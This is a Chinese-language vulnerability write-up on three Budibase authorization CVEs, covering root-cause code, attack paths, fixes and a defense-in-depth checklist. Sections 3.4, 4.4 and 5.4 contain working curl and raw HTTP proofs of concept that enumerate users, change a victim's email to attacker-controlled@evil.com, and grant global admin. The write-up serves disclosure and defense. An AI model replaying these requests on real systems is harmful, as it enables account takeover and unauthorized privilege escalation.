目录
- 1. 漏洞背景与时间线
- 2. Budibase低代码平台架构与信任边界模型
- 3. 漏洞一:CVE-2026-46425 — SCIM路由缺失授权
- 4. 漏洞二:CVE-2026-48150 — Builder角色越权至全局Admin
- 5. 漏洞三:CVE-2026-25045 — Creator角色IDOR越权
- 6. 正常授权流程 vs 漏洞利用流程对比
- 7. 低代码平台信任边界失效的系统性根因
- 8. 防御方案
- 免责声明
1. 漏洞背景与时间线
Budibase 是一个广受欢迎的开源低代码平台,用于快速构建内部工具、工作流和管理面板。作为低代码平台,Budibase 天然具备多租户(multi-tenant)能力,支持多个组织(tenant)在共享基础设施上隔离运行,每个租户内部又存在精细的角色层级。这种复杂的信任模型一旦出现边界失效,影响范围极大。
2026年上半年,Budibase 连续披露多个 Critical 级别的授权边界漏洞,其中两个(CVE-2026-46425 和 CVE-2026-48150)由同一安全研究团队(aisafe.io)在同一天(2026年5月27日)集中披露,加上更早披露的同类型漏洞 CVE-2026-25045,三者共同暴露了 Budibase 在租户隔离与角色授权方面的系统性缺陷。
三个Critical漏洞概览:
| CVE编号 | CVSS | 披露日期 | 漏洞类型 | 修复版本 |
|---|---|---|---|---|
| CVE-2026-46425 | 9.9 | 2026-05-27 | SCIM路由缺失授权 (CWE-862) | 3.38.2 |
| CVE-2026-48150 | 9.0 | 2026-05-27 | Builder越权至全局Admin (CWE-915) | 3.39.0 |
| CVE-2026-25045 | 8.7 | 2026-03-09 | Creator角色IDOR越权 (CWE-862) | 未修复 |
漏洞披露时间线:
2026-03-09 CVE-2026-25045 Creator IDOR越权披露 (GHSA-2g39-332f-68p9)
│
│ (同一研究团队 aisafe.io 深入挖掘信任边界问题)
│
2026-05-27 CVE-2026-46425 SCIM缺失授权披露 (GHSA-q9rw-q89f-jx2f) ┐
2026-05-27 CVE-2026-48150 Builder越权披露 (GHSA-6xp4-cf37-ppjh) ┘ 同日
│
▼
三个漏洞指向同一系统性问题: 信任边界校验缺失
CVE-2026-48150 的公告中明确指出,该漏洞与 CVE-2026-25045 "在形态和影响上一致"("This matches GHSA-2g39-332f-68p9 in shape and impact"),说明研究团队在 CVE-2026-25045 之后,系统性地在 Budibase 的其他授权路径中发现了同类型的信任边界绕过。
2. Budibase低代码平台架构与信任边界模型
2.1 架构概览
Budibase 采用微服务式架构,核心包含两个服务:
┌─────────────────────────────────────────────────────────────┐
│ 客户端 (浏览器) │
└────────────┬───────────────────────────────┬────────────────┘
│ │
┌───────▼───────┐ ┌──────▼───────┐
│ Budibase Server│ │ Budibase Worker│
│ (app服务) │ │ (全局/租户服务) │
│ │ │ │
│ • 应用构建器 │ │ • 用户管理 │
│ • 数据源连接 │ │ • 认证/授权 │
│ • 自动化工作流 │ │ • SCIM端点 │
│ • Public API │ │ • 全局用户CRUD │
│ • 角色分配API │ │ • 租户隔离 │
└───────┬─────────┘ └───────┬────────┘
│ │
└──────────┬──────────────────────┘
│
┌─────────▼─────────┐
│ CouchDB (集群) │
│ ┌───────────────┐ │
│ │ global_tenant │ │ ← 全局租户数据库
│ │ us_xxx 用户文档│ │
│ ├───────────────┤ │
│ │ app_tenant_A │ │ ← 应用租户数据库
│ │ app_xxx 数据 │ │
│ ├───────────────┤ │
│ │ app_tenant_B │ │
│ └───────────────┘ │
└───────────────────┘
- Server(app服务):处理应用构建、数据源、自动化等业务逻辑。
- Worker(全局服务):处理认证、用户管理、租户隔离、SCIM 等全局性操作。
2.2 角色层级模型
Budibase 的角色体系分为两个维度:全局角色(Global Role) 和 应用级角色(App-level Role)。
全局角色层级 (存储在用户文档的 builder/admin 字段):
┌──────────────────────────────────────────────────────────────┐
│ Owner / Tenant Admin │
│ admin: {global: true} │
│ 权限: 管理租户内一切 (用户、应用、设置、SCIM配置) │
├──────────────────────────────────────────────────────────────┤
│ Global Builder │
│ builder: {global: true} │
│ 权限: 构建租户内所有应用 │
├──────────────────────────────────────────────────────────────┤
│ Workspace-scoped Builder (应用级构建者) │
│ builder: {apps: ["app_xxx"], global: false} │
│ 权限: 仅构建指定应用 (builder.apps数组中的app) │
├──────────────────────────────────────────────────────────────┤
│ Creator (部分版本中等同于应用级构建者) │
│ 权限: 构建应用,但无用户管理权限 │
├──────────────────────────────────────────────────────────────┤
│ BASIC / App Viewer │
│ roles: {"app_xxx": "BASIC"} │
│ 权限: 仅查看已发布的应用 │
└──────────────────────────────────────────────────────────────┘
应用级角色 (存储在用户文档的 roles 字段):
roles: {
"app_aaa": "ADMIN", // 该应用的管理员
"app_bbb": "BASIC", // 该应用的普通用户
"app_ccc": "POWER" // 该应用的高级用户
}
2.3 信任边界设计意图
Budibase 的信任边界设计意图如下:
┌─────────────────────────────────────────────────────────┐
│ 租户隔离边界 │
│ Tenant A 的用户 ≠ Tenant B 的用户 │
│ (数据库级别隔离: global_tenant vs app_tenant) │
│ │
│ ┌─────────────────────────────────────────────────┐ │
│ │ 全局管理边界 │ │
│ │ 只有 admin.global=true 可管理用户/角色/SCIM │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────┐ │ │
│ │ │ 应用构建边界 │ │ │
│ │ │ 只有 builder.global=true 或 │ │ │
│ │ │ builder.apps包含该app的scoped builder │ │ │
│ │ │ 可构建对应应用 │ │ │
│ │ │ │ │ │
│ │ │ ┌───────────────────────────────────┐ │ │ │
│ │ │ │ 应用访问边界 │ │ │ │
│ │ │ │ 只有 roles中包含该app的用户 │ │ │ │
│ │ │ │ 可访问对应应用 │ │ │ │
│ │ │ └───────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
三个Critical漏洞分别击穿了不同层级的信任边界:
- CVE-2026-46425:BASIC用户突破"全局管理边界",通过SCIM操作租户用户
- CVE-2026-48150:应用级Builder突破"全局管理边界",提升为全局Admin
- CVE-2026-25045:Creator突破"全局管理边界",通过IDOR操纵用户角色
3. 漏洞一:CVE-2026-46425 — SCIM路由缺失授权
3.1 漏洞概述
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-46425 |
| CVSS | 9.9 (Critical) |
| CWE | CWE-862 Missing Authorization |
| 影响版本 | < 3.38.2 |
| 修复版本 | 3.38.2 |
| 研究团队 | aisafe.io |
SCIM(System for Cross-domain Identity Management)是企业级身份管理协议,Budibase 在 Enterprise 版本中支持通过 SCIM 端点管理租户用户和用户组。漏洞在于:SCIM 路由仅检查了功能开关(SCIM是否启用),却完全没有检查调用者的角色权限。
3.2 漏洞根因:中间件链缺失角色校验
// packages/worker/src/api/routes/global/scim.ts (漏洞代码)
const router: Router = new Router({ prefix: "/api/global/scim/v2" })
// 仅挂载了两个中间件
router.use(proMiddleware.requireSCIM) // 1. 检查SCIM功能是否启用 (不看角色!)
router.use(proMiddleware.doInScimContext) // 2. 设置SCIM请求上下文 (不看角色!)
// 以下所有路由都没有角色校验
router.get("/users", userController.get)
router.post("/users", userController.create)
router.patch("/users/:id", proMiddleware.scimUserOnly("id"), userController.update)
router.delete("/users/:id", proMiddleware.scimUserOnly("id"), userController.remove)
router.get("/groups", groupController.get)
router.post("/groups", proMiddleware.feature.requireFeature(Feature.USER_GROUPS), groupController.create)
对比非SCIM的用户组路由,可以清楚看到差距:
// packages/worker/src/api/routes/global/groups.ts (正确的鉴权写法)
router
.post("/api/global/groups",
auth.adminOnly, // ← 有角色校验!
proMiddleware.feature.requireFeature(Feature.USER_GROUPS),
buildGroupSaveValidation(), controller.save)
.delete("/api/global/groups/:groupId/:rev",
proMiddleware.feature.requireFeature(Feature.USER_GROUPS),
auth.adminOnly, // ← 有角色校验!
controller.destroy)
.get("/api/global/groups/:groupId",
proMiddleware.feature.requireFeature(Feature.USER_GROUPS),
auth.builderOrAdmin, // ← 有角色校验!
controller.find)
非SCIM路由的每个用户/组操作都挂载了 auth.adminOnly 或 auth.builderOrAdmin,而SCIM路由的"孪生"端点一个都没有。Worker 的全局认证中间件只检查 isAuthenticated(是否登录),任何拥有 budibaseAccess=true 的账户都能通过——这包括了租户内所有的 BASIC 用户。
3.3 攻击路径
BASIC用户 (App Viewer)
│
│ 1. 登录获取session cookie + CSRF token
│ POST /api/global/auth/default/login
│
│ 2. 调用SCIM端点列出所有租户用户 (无需admin角色)
│ GET /api/global/scim/v2/users
│ → 200 OK, 返回所有用户列表 (PII泄露)
│
│ 3. 通过SCIM创建新用户 (无需admin角色)
│ POST /api/global/scim/v2/users
│ → 200 OK, 新用户创建成功 (scimInfo.isSync=true)
│
│ 4. 修改现有用户的email (账户接管原语)
│ PATCH /api/global/scim/v2/users/<id>
│ → 200 OK, email被改为攻击者控制的地址
│ → 通过密码重置接管该账户
│
│ 5. 将合法用户移入攻击者控制的用户组
│ POST /api/global/scim/v2/groups
│ → 继承该组绑定的角色权限
│
▼
完全的租户用户管理权限 (从BASIC用户提升)
3.4 PoC
#!/bin/bash
# CVE-2026-46425 PoC — BASIC用户通过SCIM CRUD租户用户
# 测试环境: Budibase 3.35.8, Enterprise租户已启用SCIM
BASE="http://localhost:10000"
# Step 1: Bob (BASIC用户) 登录,获取session和CSRF token
curl -sS -c bob_cookie -X POST "$BASE/api/global/auth/default/login" \
-H "Content-Type: application/json" \
-d '{"username":"basic@aisafe.test","password":"Basic!Test!2026"}' > /dev/null
CSRF=$(curl -sS -b bob_cookie "$BASE/api/global/self" | jq -r .csrfToken)
echo "[+] Bob(BASIC) 登录成功, CSRF token: $CSRF"
# Step 2: Bob列出所有SCIM用户 (本应需要admin权限)
echo "[*] Bob尝试列出所有租户用户..."
curl -sS -b bob_cookie -H "x-csrf-token: $CSRF" \
-H "Accept: application/scim+json" \
"$BASE/api/global/scim/v2/users"
# 预期: 200 OK (本应返回403)
# Step 3: Bob通过SCIM创建新用户 (本应需要admin权限)
echo "[*] Bob尝试创建新用户..."
curl -sS -b bob_cookie -X POST "$BASE/api/global/scim/v2/users" \
-H "x-csrf-token: $CSRF" \
-H "Content-Type: application/scim+json" \
-d '{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"userName": "scim-injected@aisafe.test",
"emails": [{"value": "scim-injected@aisafe.test", "primary": true}],
"name": {"givenName": "SCIM", "familyName": "Injected"},
"active": true
}'
# 预期: 200 OK, 返回新创建的用户 (含id, scimInfo.isSync=true)
# Step 4: Bob修改某用户的email (账户接管原语)
echo "[*] Bob尝试修改用户email..."
curl -sS -b bob_cookie -X PATCH "$BASE/api/global/scim/v2/users/us_TARGET_ID" \
-H "x-csrf-token: $CSRF" \
-H "Content-Type: application/scim+json" \
-d '{
"schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
"Operations": [{
"op": "replace",
"path": "emails[type eq \"work\"].value",
"value": "attacker-controlled@evil.com"
}]
}'
# 预期: 200 OK, 受害者email被篡改 → 可通过密码重置接管账户
3.5 修复方案
官方修复仅添加一行中间件:
// packages/worker/src/api/routes/global/scim.ts (修复后)
router.use(proMiddleware.requireSCIM)
router.use(proMiddleware.doInScimContext)
router.use(auth.adminOnly) // ← 新增: 与非SCIM路由保持一致
一行代码关闭所有SCIM路由的越权。但这也暴露了一个更深的问题:功能开关(requireSCIM)和授权检查(adminOnly)被混为一谈。开发者认为"SCIM功能启用了"就等于"可以访问SCIM端点",忽略了"谁可以访问"这一授权问题。
4. 漏洞二:CVE-2026-48150 — Builder角色越权至全局Admin
4.1 漏洞概述
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-48150 |
| CVSS | 9.0 (Critical) |
| CWE | CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| 影响版本 | < 3.39.0 |
| 修复版本 | 3.39.0 |
| 研究团队 | aisafe.io |
这是一个典型的批量赋值(Mass Assignment)漏洞。Workspace-scoped Builder(应用级构建者,builder.apps 有值但 builder.global 为 false)通过 /api/public/v1/roles/assign 接口,可以将自己或任意用户提升为全局 Admin。
4.2 漏洞根因:中间件过宽 + SDK无权限校验
漏洞涉及三个组件的协同失效:
组件1:中间件 builderOrAdmin 过于宽泛
// packages/backend-core/src/middleware/builderOrAdmin.ts
export async function builderOrAdmin(ctx: UserCtx, next: any) {
if (ctx.internal || isAdmin(ctx.user)) { return next() }
const workspaceId = await getWorkspaceIdFromCtx(ctx)
if (!workspaceId && !env.isWorker()) {
ctx.throw(403, "This request required a workspace id.")
} else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {
ctx.throw(403, "Admin/Builder user only endpoint.")
} else if (workspaceId && !isBuilder(ctx.user, workspaceId)) {
ctx.throw(403, "Workspace Admin/Builder user only endpoint.")
}
// passes — 通过!
}
isBuilder(user, workspaceId) 对任何 builder.apps 数组包含该 workspaceId 的用户都返回 true,即使 builder.global 为 false。这意味着应用级 Builder 也能通过这个中间件。
组件2:控制器直接展开请求体(批量赋值)
// packages/server/src/api/controllers/public/roles.ts
export async function assignAppBuilder(ctx: Ctx) {
const { userIds, ...assignmentProps } = ctx.request.body
// assignmentProps 直接包含 builder 和 admin 字段,无过滤!
await sdk.publicApi.roles.assign(userIds, assignmentProps)
ctx.body = { data: { userIds } }
}
...assignmentProps 展开了请求体中除 userIds 外的所有字段,包括攻击者注入的 builder: true 和 admin: true。
组件3:SDK无条件赋值全局权限
// packages/pro/src/sdk/publicApi/roles.ts
export async function assign(userIds: string[], opts: AssignmentOpts) {
if (!(await isExpandedPublicApiEnabled())) {
throw new Error("Unable to assign roles - license required.")
}
const users = await userDB.bulkGet(userIds)
for (let user of users) {
if (opts.builder) {
user.builder = { global: true } // ← 无条件授予全局Builder!
}
if (opts.admin) {
user.admin = { global: true } // ← 无条件授予全局Admin!
}
}
await userDB.bulkUpdate(users)
}
SDK 没有检查调用者自身是否已拥有其正在授予的权限。一个应用级 Builder 可以给任意用户(包括自己)授予全局 Admin。
4.3 攻击路径
Alice (Workspace-scoped Builder)
builder: {apps: ["app_xxx"], global: false}
admin: {global: false}
│
│ 1. 获取自己的API Key
│ GET /api/global/self/api_key
│ → {"apiKey": "80f28..."}
│
│ 2. 调用角色分配接口,scope到自己的app以通过builderOrAdmin
│ POST /api/public/v1/roles/assign
│ Header: x-budibase-app-id: app_xxx (自己的app)
│ Body: {"userIds": ["us_victim"], "builder": true}
│ → 中间件: isBuilder(alice, app_xxx) = true → 通过!
│ → 控制器: assignmentProps = {builder: true}
│ → SDK: victim.builder = {global: true}
│ → 200 OK
│
│ 3. 给自己授予全局Admin
│ POST /api/public/v1/roles/assign
│ Body: {"userIds": ["us_alice"], "admin": true}
│ → SDK: alice.admin = {global: true}
│ → 200 OK
│
▼
Alice 现在是全局Admin!
builder: {apps: ["app_xxx"]} (保留)
admin: {global: true} (新增!)
4.4 PoC
#!/bin/bash
# CVE-2026-48150 PoC — Workspace-scoped Builder越权至全局Admin
# 测试环境: Budibase 3.35.8, Enterprise (EXPANDED_PUBLIC_API功能启用)
BASE="http://localhost:10000"
APP_ID="app_hasinocompany_123456789"
# 前置: Alice是workspace-scoped builder (builder.apps含APP_ID, global=false)
# Step 1: Alice获取自己的API Key
echo "[*] Alice获取API Key..."
ALICE_APIKEY=$(curl -sS -b alice_cookie "$BASE/api/global/self/api_key" | jq -r .apiKey)
echo "[+] Alice API Key: $ALICE_APIKEY"
# Step 2: Alice将受害者提升为全局Builder
echo "[*] Alice将受害者(us_70b6victim)提升为全局Builder..."
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
-H "Content-Type: application/json" \
-H "x-budibase-api-key: $ALICE_APIKEY" \
-H "x-budibase-app-id: $APP_ID" \
-d '{"userIds":["us_70b6victim"],"builder":true}'
# 预期: 200 OK
# 结果: victim.builder = {global: true}
# Step 3: Alice给自己授予全局Admin
echo "[*] Alice给自己授予全局Admin..."
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
-H "Content-Type: application/json" \
-H "x-budibase-api-key: $ALICE_APIKEY" \
-H "x-budibase-app-id: $APP_ID" \
-d '{"userIds":["us_dabalice"],"admin":true}'
# 预期: 200 OK
# 结果: alice.admin = {global: true}
# 验证: Alice现在拥有全局Admin权限
echo "[*] 验证Alice的权限..."
curl -sS -b alice_cookie "$BASE/api/global/self" | jq '{builder, admin}'
# 预期输出: {"builder": {"apps": ["app_..."]}, "admin": {"global": true}}
4.5 修复方案
官方建议在SDK层强制校验调用者权限:
// packages/pro/src/sdk/publicApi/roles.ts (修复后)
export async function assign(userIds: string[], opts: AssignmentOpts) {
const caller = context.getIdentity() // 获取调用者身份
if (opts.builder) {
// 只有全局Builder或Admin才能授予全局Builder
if (!caller?.builder?.global && !caller?.admin?.global) {
throw new HTTPError("Only global builders or admins can grant global builder", 403)
}
user.builder = { global: true }
}
if (opts.admin) {
// 只有全局Admin才能授予全局Admin
if (!caller?.admin?.global) {
throw new HTTPError("Only global admins can grant global admin", 403)
}
user.admin = { global: true }
}
}
同时在控制器边界剥离敏感字段(纵深防御):
// packages/server/src/api/controllers/public/roles.ts (修复后)
export async function assignAppBuilder(ctx: Ctx) {
const { userIds, ...assignmentProps } = ctx.request.body
// 防御性: 除非调用者是全局Admin,否则剥离builder/admin字段
if (!ctx.user?.admin?.global) {
delete assignmentProps.builder
delete assignmentProps.admin
}
await sdk.publicApi.roles.assign(userIds, assignmentProps)
}
5. 漏洞三:CVE-2026-25045 — Creator角色IDOR越权
5.1 漏洞概述
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-25045 |
| CVSS | 8.7 (Critical) |
| CWE | CWE-862 Missing Authorization / CWE-639 IDOR |
| 影响版本 | 多个版本 |
| 修复版本 | 未修复(截至披露时) |
| 研究者 | Hasinohacker |
这个漏洞结合了垂直越权(Vertical Privilege Escalation)和不安全直接对象引用(IDOR)。/api/global/users 端点缺少服务端RBAC校验,Creator 级别用户(本应只能构建应用,无用户管理权限)可以重放 Owner 级别的请求,操纵租户内任意用户的角色。
5.2 漏洞根因:/api/global/users 缺少服务端角色校验
漏洞的核心是 /api/global/users 端点接受用户修改请求时,不验证请求者的角色是否拥有对应权限。系统依赖前端UI隐藏了Creator不应看到的操作按钮,但后端API本身不做校验。
设计意图 (前端控制):
Creator UI → 不显示"用户管理"按钮 → Creator无法操作
实际漏洞 (后端无校验):
Creator用Burp Suite捕获Owner的请求 → 替换为Creator的Cookie/CSRF → 重放
→ 后端接受请求 → 200 OK → 越权操作成功
5.3 攻击路径
Creator用户
(仅有应用构建权限,无用户管理权限)
│
│ 1. 捕获Owner的合法请求 (Burp Suite拦截)
│ 例如: Owner将App Viewer提升为Tenant Admin的POST请求
│
│ 2. 用Creator自己的session token替换请求中的Cookie和CSRF
│
│ 3. 重放修改后的请求:
│ POST /api/global/users
│ Cookie: <creator_session>
│ X-Csrf-Token: <creator_csrf>
│ Body: {"_id": "us_appviewer", "admin": {"global": true}, ...}
│
│ 4. 后端无RBAC校验 → 200 OK → 操作成功!
│
▼
Creator实现了:
✗ → ✓ 将App Viewer提升为Tenant Admin
✓ → ✗ 将Tenant Admin降级为App Viewer
✎ 修改Owner的账户信息 (姓名等)
5.4 PoC
### CVE-2026-25045 PoC — Creator越权修改用户角色
### 示例A: Creator将App Viewer提升为Tenant Admin
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_appviewer12345",
"firstName": "AppViewUser",
"lastName": "Upgraded",
"email": "appviewer@gmail.com",
"admin": {"global": true},
"builder": {"global": true},
"roles": {}
}
### 预期响应: 200 OK (本应返回403)
### 结果: App Viewer被提升为Tenant Admin
### 示例B: Creator将Tenant Admin降级为App Viewer
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_tenantadmin67890",
"firstName": "Tenant",
"lastName": "Demoted",
"email": "tenantadmin@gmail.com",
"admin": {"global": false},
"roles": {"app_hasinocompany_123456789": "BASIC"}
}
### 预期响应: 200 OK
### 结果: Tenant Admin被降级为App Viewer
### 示例C: Creator修改Owner的账户信息
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json
{
"_id": "us_owneraccountid",
"firstName": "Compromised",
"lastName": "Owner",
"email": "owner@gmail.com"
}
### 预期响应: 200 OK
### 结果: Owner的姓名被篡改
5.5 修复方向
// 修复: 在 /api/global/users 控制器中强制RBAC校验
export async function saveUser(ctx: Ctx) {
const requestBody = ctx.request.body
const caller = ctx.user
// 如果请求体包含 admin 或 builder 字段,调用者必须是全局Admin
if (requestBody.admin !== undefined || requestBody.builder !== undefined) {
if (!caller?.admin?.global) {
ctx.throw(403, "Only global admins can modify admin/builder roles")
}
}
// 如果修改的不是自己,调用者至少需要Builder权限
if (requestBody._id !== caller._id && !caller?.admin?.global) {
ctx.throw(403, "Insufficient permissions to modify other users")
}
// ... 正常保存逻辑
}
6. 正常授权流程 vs 漏洞利用流程对比
6.1 CVE-2026-46425 (SCIM缺失授权) 对比
| 步骤 | 正常授权流程 | 漏洞利用流程 |
|---|---|---|
| 认证 | Tenant Admin登录获取session | BASIC用户登录获取session |
| 中间件链 | requireSCIM → doInScimContext → adminOnly | requireSCIM → doInScimContext → (无adminOnly) |
| 列出用户 | GET /scim/v2/users → 200 (Admin合法操作) | GET /scim/v2/users → 200 (BASIC越权读取) |
| 创建用户 | POST /scim/v2/users → 200 (Admin合法操作) | POST /scim/v2/users → 200 (BASIC越权创建) |
| 修改用户 | PATCH /scim/v2/users/:id → 200 (Admin合法操作) | PATCH /scim/v2/users/:id → 200 (BASIC越权修改email→账户接管) |
| 边界校验点 | auth.adminOnly 拦截非Admin | 无校验点,边界完全缺失 |
6.2 CVE-2026-48150 (Builder越权) 对比
| 步骤 | 正常授权流程 | 漏洞利用流程 |
|---|---|---|
| 调用者身份 | Global Builder / Admin | Workspace-scoped Builder (builder.apps有值, global=false) |
| 中间件校验 | builderOrAdmin: isBuilder=global → 通过 | builderOrAdmin: isBuilder(app级)=true → 通过 (过宽) |
| 请求体内容 | {userIds, appRole} (仅应用级角色) | {userIds, builder: true, admin: true} (注入全局权限) |
| 控制器处理 | 仅传递appRole给SDK | ...assignmentProps展开 → builder/admin流入SDK |
| SDK赋值 | 仅设置app级角色 | user.admin = {global: true} (无条件授予全局Admin) |
| 结果 | 合法的应用级角色分配 | 应用级Builder变为全局Admin |
6.3 CVE-2026-25045 (Creator IDOR) 对比
| 步骤 | 正常授权流程 | 漏洞利用流程 |
|---|---|---|
| 调用者身份 | Owner / Tenant Admin | Creator (无用户管理权限) |
| UI层控制 | 用户管理页面可见操作按钮 | 用户管理页面隐藏操作按钮 |
| 请求构造 | UI生成合法请求 | Burp Suite拦截Owner请求 → 替换为Creator的Cookie/CSRF |
| 后端校验 | (本应)校验caller是否为Admin | 无RBAC校验 → 直接处理请求 |
| 操作结果 | Admin合法修改用户角色 | Creator越权提升/降级/修改任意用户 |
| 检测难度 | 正常操作有审计日志 | Creator发起的角色变更无日志 (UI不记录) |
7. 低代码平台信任边界失效的系统性根因
三个漏洞虽然具体技术不同,但根因可归结为低代码平台特有的信任边界设计问题:
7.1 功能开关 ≠ 授权检查
CVE-2026-46425 的核心问题是将"功能是否启用"(requireSCIM检查SCIM license)等同于"是否允许访问"(缺少adminOnly角色检查)。低代码平台大量使用功能开关(Feature Flag)控制Enterprise功能,但功能开关只回答"能不能用",不回答"谁能用"。
错误心智模型:
requireSCIM() = true → "SCIM可用" → "允许访问SCIM端点" ✗
正确心智模型:
requireSCIM() = true → "SCIM功能已启用" (功能层)
auth.adminOnly() → "调用者是Admin" (授权层)
两者都通过 → "允许访问SCIM端点" ✓
7.2 应用级角色与全局角色的混淆
CVE-2026-48150 的核心是 isBuilder(user, workspaceId) 对应用级 Builder 和全局 Builder 一视同仁。低代码平台中,应用级权限和全局权限是两个不同信任域,但中间件实现中往往用一个函数同时处理,导致应用级角色"逃逸"到全局域。
角色信任域:
应用级 (App-scoped): builder.apps = ["app_xxx"] → 仅app_xxx的构建权
全局级 (Global-scoped): builder.global = true → 所有app的构建权
混淆点:
isBuilder(user, workspaceId) 对两者都返回true
→ 应用级Builder通过了本应只有全局Builder能通过的中间件
→ 应用级Builder获得了操作全局属性的入口
7.3 前端控制代替后端校验
CVE-2026-25045 的核心是依赖前端UI隐藏功能按钮来"防止"低权限用户操作,但后端API不做独立校验。低代码平台的拖拽式UI构建器天然倾向于在前端做权限控制(显示/隐藏组件),这容易让开发者产生"前端不可见=后端不可达"的错觉。
低代码平台的权限控制陷阱:
前端 (UI Builder):
if (user.role !== "ADMIN") hideButton("userManagement")
→ 看似安全: 非Admin看不到按钮
后端 (API):
POST /api/global/users → 无caller角色校验
→ 实际不安全: 任何人可直接调用API绕过UI
根因: 前端控制是"用户体验"层面的,后端校验才是"安全"层面的
两者不可互相替代
7.4 批量赋值与对象展开的滥用
CVE-2026-48150 中 const { userIds, ...assignmentProps } = ctx.request.body 的对象展开模式将用户可控的全部字段传入SDK,是 Mass Assignment 漏洞的典型成因。低代码平台大量使用动态字段(用户自定义应用结构),开发者习惯性地信任请求体结构,导致敏感字段(admin、builder)可被注入。
8. 防御方案
8.1 租户隔离强化
// 1. 所有租户级操作强制携带tenant上下文校验
export async function enforceTenantIsolation(ctx: UserCtx, next: any) {
const callerTenantId = ctx.user.tenantId
const targetTenantId = ctx.params.tenantId || ctx.request.body.tenantId
if (targetTenantId && targetTenantId !== callerTenantId) {
ctx.throw(403, "Cross-tenant access denied")
}
await next()
}
// 2. 数据库查询自动注入租户过滤
export async function getUsers(tenantId: string) {
// CouchDB selector自动包含tenantId,防止跨租户数据泄露
return userDB.query({
selector: {
tenantId: tenantId, // 强制租户过滤
// ...其他条件
}
})
}
8.2 RBAC统一审计框架
// 建立统一的授权中间件注册表,消除"遗漏挂载中间件"的问题
const ROUTE_REGISTRY = new Map<string, RouteSecurityConfig>()
interface RouteSecurityConfig {
method: string
path: string
requiredRole: 'admin' | 'builder' | 'basic' | 'public'
scope: 'global' | 'app' | 'tenant'
featureFlag?: string // 可选的功能开关
middlewares: Middleware[] // 必须显式列出所有中间件
}
// 注册时强制声明安全配置
function registerRoute(config: RouteSecurityConfig) {
// 自动校验: 有featureFlag的路由必须同时有role中间件
if (config.featureFlag && config.requiredRole === 'public') {
throw new Error(
`Route ${config.method} ${config.path} has feature flag but no role check!`
)
}
ROUTE_REGISTRY.set(`${config.method}:${config.path}`, config)
}
// SCIM路由正确注册
registerRoute({
method: 'POST',
path: '/api/global/scim/v2/users',
requiredRole: 'admin', // ← 显式声明需要Admin
scope: 'tenant',
featureFlag: 'SCIM',
middlewares: [requireSCIM, doInScimContext, auth.adminOnly]
})
8.3 API网关鉴权层
在所有路由之前部署统一的API网关鉴权层,作为最后一道防线:
// packages/worker/src/api/index.ts — 全局授权网关
app.use(async (ctx, next) => {
// 1. 认证: 所有非public路由必须通过认证
if (!isPublicRoute(ctx.path) && !isAuthenticated(ctx)) {
ctx.throw(401, "Authentication required")
}
// 2. 授权: 根据路由的安全配置校验角色
const routeConfig = ROUTE_REGISTRY.get(`${ctx.method}:${ctx.path}`)
if (routeConfig) {
const user = ctx.user
switch (routeConfig.requiredRole) {
case 'admin':
if (!user?.admin?.global) {
ctx.throw(403, "Global admin required")
}
break
case 'builder':
// 全局Builder或应用级Builder(仅限对应app)
if (!user?.builder?.global &&
!isAppBuilder(user, getWorkspaceId(ctx))) {
ctx.throw(403, "Builder permission required")
}
break
}
}
// 3. CSRF校验: 所有写操作
if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(ctx.method)) {
if (!verifyCSRF(ctx)) {
ctx.throw(403, "Invalid CSRF token")
}
}
await next()
})
8.4 纵深防御清单
┌──────────────────────────────────────────────────────────────┐
│ 低代码平台信任边界纵深防御 │
├──────────────────────────────────────────────────────────────┤
│ 授权层 (最关键): │
│ □ 每个API路由显式声明requiredRole和scope │
│ □ 功能开关(requireFeature)与角色检查(adminOnly)分离 │
│ □ 应用级角色与全局角色使用不同的中间件校验 │
│ □ 后端RBAC独立于前端UI控制 (不依赖UI隐藏按钮) │
├──────────────────────────────────────────────────────────────┤
│ 数据层: │
│ □ 所有数据库查询强制注入tenantId过滤 │
│ □ 用户文档的admin/builder字段不可通过公共API直接修改 │
│ □ 控制器层剥离请求体中的敏感字段 (反Mass Assignment) │
├──────────────────────────────────────────────────────────────┤
│ 架构层: │
│ □ API网关统一鉴权层 (作为最后防线) │
│ □ SCIM等企业管理端点单独鉴权域 (不与普通API共享中间件) │
│ □ 路由注册表强制安全配置声明 (编译期/启动期校验) │
├──────────────────────────────────────────────────────────────┤
│ 审计层: │
│ □ 所有角色变更操作记录审计日志 (含调用者、目标、变更内容) │
│ □ 跨租户访问尝试告警 │
│ □ 权限提升事件实时告警 (BASIC→Admin等) │
└──────────────────────────────────────────────────────────────┘
8.5 补丁升级
| CVE | 修复版本 | 升级建议 |
|---|---|---|
| CVE-2026-46425 | 3.38.2 | 立即升级至3.38.2以上 |
| CVE-2026-48150 | 3.39.0 | 立即升级至3.39.0以上 |
| CVE-2026-25045 | 未修复 | 关注官方更新,临时禁用Creator角色的用户管理相关API |
GitHub安全公告:
- CVE-2026-46425: https://github.com/Budibase/budibase/security/advisories/GHSA-q9rw-q89f-jx2f
- CVE-2026-48150: https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh
- CVE-2026-25045: https://github.com/Budibase/budibase/security/advisories/GHSA-2g39-332f-68p9
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
